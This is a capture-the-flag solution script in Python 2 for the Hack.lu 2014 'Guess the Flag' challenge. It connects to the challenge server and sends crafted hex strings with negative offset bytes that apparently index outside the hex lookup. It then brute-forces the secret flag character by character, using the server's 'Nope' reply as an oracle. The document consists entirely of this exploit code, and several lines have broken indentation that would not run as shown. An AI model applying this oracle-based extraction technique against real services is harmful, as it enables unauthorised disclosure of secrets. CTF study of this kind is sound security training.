HACK.LU CTF 2014: GUESS THE FLAG

solveguess.py

#!/usr/bin/python
import socket
import struct
import time 

def recv_until(st):
  ret = ""
  while st not in ret:
    ret += s.recv(8192)
  return ret 

#s = socket.create_connection(("localhost", 1412))
s = socket.create_connection(("wildwildweb.fluxfingers.net", 1412)) 

possiblechars = "0123456789abcdef" 

print recv_until("guess> ") 

offset = -64 

content = "ix23456789abcdef0123456789abcdef0123456789xz" 

a = "flag{"+content+"}" 

tosend = list(a.encode("hex")) 

for i in range(5, 49):
    tosend[i*2] = struct.pack("b", offset-1)
    tosend[i*2+1] = struct.pack("b", offset+i) 

#correct = '6974736a7573746c696b65696e7468656d6'
correct = '' 

for i in range(0, len(correct)):
    ch = correct[i]
    chex = ch.encode("hex")
        print "chex ", chex
    tosend[(5+i)*2] = chex[0]
    tosend[(5+i)*2+1] = chex[1] 

guessindex = len(correct)
currentguess = 0 

while True: 

    ch = possiblechars[currentguess]
    chex = ch.encode("hex")
        print "chex ", chex
    tosend[(5+guessindex)*2] = chex[0]
    tosend[(5+guessindex)*2+1] = chex[1] 

    ff = "".join(tosend) 

    print "trying ", ff
    s.send(ff+"\n") 

    res = recv_until("guess> ")
    print res 

    if "Nope" in res:
        currentguess += 1
    else:
        correct += ch
        print "OK ", correct
        currentguess = 0
        guessindex +=1
        if len(correct)==44:
            print correct.decode('hex')
            exit(0)